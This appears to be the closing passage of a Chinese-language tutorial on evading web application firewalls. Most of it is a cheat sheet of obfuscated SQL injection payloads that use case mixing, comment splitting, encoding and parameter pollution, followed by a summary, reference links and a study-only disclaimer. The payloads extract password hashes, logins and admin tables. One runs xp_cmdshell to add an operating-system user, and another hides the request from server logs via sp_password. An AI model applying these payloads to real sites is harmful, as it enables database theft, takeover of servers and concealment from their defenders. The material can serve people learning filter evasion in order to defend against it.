<code>id=</code><code>1</code><code>+UnIOn</code><code>/**/</code><code>SeLect</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>id=</code><code>1</code><code>+UNIunionON+SELselectECT</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>id=</code><code>1</code><code>+</code><code>/*!UnIOn*/</code><code>+</code><code>/*!sElEcT*/</code>

<code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>id=</code><code>1</code>

<code>and (select</code><code>1</code><code>)=(Select</code><code>0xAA</code>

<code>1000</code> <code>more A’s)+UnIoN+SeLeCT</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>id=</code><code>1</code><code>+un</code><code>/**/</code><code>ion+sel</code><code>/**/</code><code>ect+</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>--</code>

<code>id=</code><code>1</code><code>+</code><code>/**/</code><code>/*U*/</code><code>/*n*/</code><code>/*I*/</code><code>/*o*/</code><code>/*N*/</code><code>/*S*/</code><code>/*e*/</code><code>/*L*/</code><code>/*e*/</code><code>/*c*/</code><code>/*T*/</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code>

<code>id=</code><code>1</code><code>+</code><code>/**/</code><code>union</code><code>/*&amp;id=*/</code><code>select</code><code>/*&amp;id=*/</code><code>column</code><code>/*&amp;id=*/</code><code>from</code><code>/*&amp;id=*/</code><code>table--</code>

<code>id=</code><code>1</code><code>+</code><code>/**/</code><code>union</code><code>/*&amp;id=*/</code><code>select</code><code>/*&amp;id=*/</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>--</code>

<code>id=-</code><code>1</code>

<code>and (select</code><code>1</code><code>)=(Select</code><code>0xAA</code><code>*</code><code>1000</code><code>)</code><code>/*!UNION*/</code>

<code>/*!SELECT*/</code><code>/**/</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>,</code><code>6</code><code>—x</code>

<code>/**/</code><code>union</code><code>/*&amp;id=*/</code><code>select</code><code>/*&amp;id=*/</code><code>column</code><code>/*&amp;id=*/</code><code>from</code><code>/*&amp;id=*/</code><code>table--</code>

<code>/*!union*/</code><code>+</code><code>/*!select*/</code><code>+</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>/*!UnIOn*/</code><code>/*!SeLect*/</code><code>+</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>un</code><code>/**/</code><code>ion+sel</code><code>/**/</code><code>ect+</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>/**/</code><code>/*U*/</code><code>/*n*/</code><code>/*I*/</code><code>/*o*/</code><code>/*N*/</code><code>/*S*/</code><code>/*e*/</code><code>/*L*/</code><code>/*e*/</code><code>/*c*/</code><code>/*T*/</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>—</code>

<code>ID=</code><code>66</code><code>+UnIoN+aLL+SeLeCt+</code><code>1</code><code>,</code><code>2</code><code>,</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>,</code><code>6</code><code>,</code><code>7</code><code>,(SELECT+concat(</code><code>0x3a</code><code>,id,</code><code>0x3a</code><code>,password,</code><code>0x3a</code><code>)+FROM+information_schema.columns+WHERE+table_schema=</code><code>0x6334706F645F666573746976616C5F636D73</code><code>+AND+table_name=</code><code>0x7573657273</code><code>),</code><code>9</code><code>,</code><code>10</code><code>,</code><code>11</code><code>,</code><code>12</code><code>,</code><code>13</code><code>,</code><code>14</code><code>,</code><code>15</code><code>,</code><code>16</code><code>,</code><code>17</code><code>,</code><code>18</code><code>,</code><code>19</code><code>,</code><code>20</code><code>,</code><code>21</code><code>,</code><code>22</code><code>,</code><code>23</code><code>,</code><code>24</code><code>,</code><code>25</code><code>,</code><code>26</code><code>,</code><code>27</code><code>,</code><code>28</code><code>,</code><code>29</code><code>,</code><code>30</code><code>--</code>

<code>?id=</code><code>1</code><code>+and+ascii(lower(mid((select+pwd+from+users+limit+</code><code>1</code><code>,</code><code>1</code><code>),</code><code>1</code><code>,</code><code>1</code><code>)))=</code><code>74</code>

<code>index.php?uid=strcmp(left((select+hash+from+users+limit+</code><code>0</code><code>,</code><code>1</code><code>),</code><code>1</code><code>),</code><code>0x42</code><code>)+</code><code>123</code>

<code>?page_id=</code><code>null</code><code>%0A</code><code>/**/</code><code>/*!50000%55nIOn*/</code><code>/*yoyu*/</code><code>all</code><code>/**/</code><code>%0A</code><code>/*!%53eLEct*/</code><code>%0A</code><code>/*nnaa*/</code><code>+</code><code>1</code><code>,</code><code>2</code><code>,</code>

<code>?id=</code><code>15</code><code>+</code><code>/*!UnIoN*/</code><code>+</code><code>/*!aLl*/</code><code>+</code><code>/*!SeLeCt*/</code><code>+</code><code>1</code><code>,version(),</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>,</code><code>6</code><code>,</code><code>7</code><code>--</code>

<code>id=</code><code>1</code><code>/*!limit+0+union+select+concat_ws(0×3a,table_name,column_name)+from+information_schema.columns*/</code>

<code>id=-</code><code>725</code><code>+</code><code>/*!UNION*/</code><code>+</code><code>/*!SELECT*/</code><code>+</code><code>1</code><code>,GrOUp_COnCaT(TABLE_NAME),</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>+FROM+</code><code>/*!INFORMATION_SCHEM*/</code><code>.TABLES--</code>

<code>id=-</code><code>725</code><code>+</code><code>/*!UNION*/</code><code>+</code><code>/*!SELECT*/</code><code>+</code><code>1</code><code>,GrOUp_COnCaT(COLUMN_NAME),</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>+FROM+</code><code>/*!INFORMATION_SCHEM*/</code><code>.COLUMNS+WHERE+TABLE_NAME=</code><code>0x41646d696e</code><code>--</code>

<code>SELECT*FROM(test)WHERE(name)IN(_ucs2</code><code>0x01df010e004d00cf0148</code><code>);</code>

<code>SELECT(extractvalue(</code><code>0x3C613E61646D696E3C2F613E</code><code>,</code><code>0x2f61</code><code>))     in xml way</code>

<code>select user from mysql.user where user =</code><code>‘user‘</code>

<code>OR mid(password,</code><code>1</code><code>,</code><code>1</code><code>)=unhex(</code><code>‘2a‘</code><code>)</code>

<code>OR mid(password,</code><code>1</code><code>,</code><code>1</code><code>) regexp</code><code>‘[*]‘</code>

<code>OR mid(password,</code><code>1</code><code>,</code><code>1</code><code>) like</code><code>‘*‘</code>

<code>OR mid(password,</code><code>1</code><code>,</code><code>1</code><code>) rlike</code><code>‘[*]‘</code>

<code>OR ord(mid(password,</code><code>1</code><code>,</code><code>1</code><code>))=</code><code>42</code>

<code>/?id=</code><code>1</code><code>+union+(select</code><code>‘1‘</code><code>,concat(login,hash)from+users)</code>

<code>/?id=(</code><code>1</code><code>)union(((((((select(</code><code>1</code><code>),hex(hash)from(users))))))))</code>

<code>?id=</code><code>1</code><code>‘;</code><code>/*&amp;id=1*/</code>

<code>EXEC</code><code>/*&amp;id=1*/</code>

<code>master..xp_cmdshell</code><code>/*&amp;id=1*/</code>

<code>“net user lucifer UrWaFisShiT”</code><code>/*&amp;id=1*/</code>

<code>--</code>

<code>id=</code><code>10</code>

<code>a%nd</code><code>1</code><code>=</code><code>0</code><code>/(se%lect top</code><code>1</code>

<code>ta%ble_name fr%om info%rmation_schema.tables)</code>

<code>and</code><code>1</code><code>=</code><code>0</code><code>/(select top</code><code>1</code>

<code>table_name from information_schema.tables)</code>

<code>id=-</code><code>725</code><code>+UNION+SELECT+</code><code>1</code><code>,GROUP_CONCAT(id,</code><code>0x3a</code><code>,login,</code><code>0x3a</code><code>,password,</code><code>0x3a</code><code>,email,</code><code>0x3a</code><code>,access_level),</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>+FROM+Admin--</code>

<code>id=-</code><code>725</code><code>+UNION+SELECT+</code><code>1</code><code>,version(),</code><code>3</code><code>,</code><code>4</code><code>,</code><code>5</code><code>--sp_password </code><code>//使用sp_password隐藏log中的請求</code>

本文内容到這裡内容差不多就算是完了,回顧一下本文内容,主要從三個方面展開:繞過WAF的方法、Filter的實作機制和Evasion措施、測試示例和向量。本文的第二部分”繞過WAF的方法“花了較多時間,需要參照已有的總結進行自己的總結并給出示例,第三、四兩部分更多的是粘貼已收集到的向量,是以較快。本文内容和篇幅較多,涉及資訊量很大,但是仍有許多不完善或遺漏的地方。本文的示例都取材自網際網路,因材料較多無法在文章一一列舉每個個示例和資料的來源,希望所引用資料出處的作者能諒解。在第六部分參考資料中将盡可能的列出完成本文所參考的檔案或文章來源。我在整理時發現無論是本文還是網上其他地方列出的繞過方法大多都是三年以前就已經出來的,這幾年對安全的重視已經遠遠超過了前幾年,但是這些方法依舊可以使用。應該說不是每個有的主機都會打上更新檔,同樣并不是說Web攻擊的技術公開了就所有人都會采取完善的措施修補。另一方面,某項技術的适用期可能隻有一段時間,但是實作這項技術背後的思想和方法卻不會輕易過時,是以沿着這個思想進行改進同樣可以繞過已有的防範措施,這讓人想起授人以魚不如授人以漁。最後,要想真正掌握某項技術、完全搞懂一個東西,我們需要花費時間和經曆去接觸它,本文獻給和我一樣的新手,如果有感興趣的朋友可以私信我讨論。

WAF介紹:http://www.nsfocus.com/waf/jishu/js_01.

WAF實作掃描器識别:http://www.2cto.com/Article/201311/256170.html

WAF的繞過技巧: http://www.2cto.com/Article/201306/216239.html

繞過waf的筆記:http://www.2cto.com/Article/201402/281916.html 

SQL注入中的WAF繞過技術:http://www.2cto.com/Article/201301/182519.html

淺談WAF的繞過:http://netsecurity.51cto.com/art/201212/374068.htm

SQL注入攻防入門詳解(MS

SQL):http://www.2cto.com/Article/201211/165466.html

Beyond SQLi: Obfuscate and Bypass

:http://www.exploit-db.com/papers/17934/

從基礎到進階的waf繞過方法:http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/

Bypass

WAF:http://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html

WAF Bypassing: SQL Injection (forbidden or

not?):http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html

WAF filter

evasion: http://sla.ckers.org/forum/read.php?24,33903

http://em3rgency.com/sql-injection-filter-evasion/

http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html

http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html

http://websec.files.wordpress.com/2010/11/sqli2.pdf

http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-/

addtion:"Mysql注入科普"也不錯

: http://www.2cto.com/Article/201305/214651.html

note:本文所讨論技術僅用于學習和研究,如濫用其中技術後果自負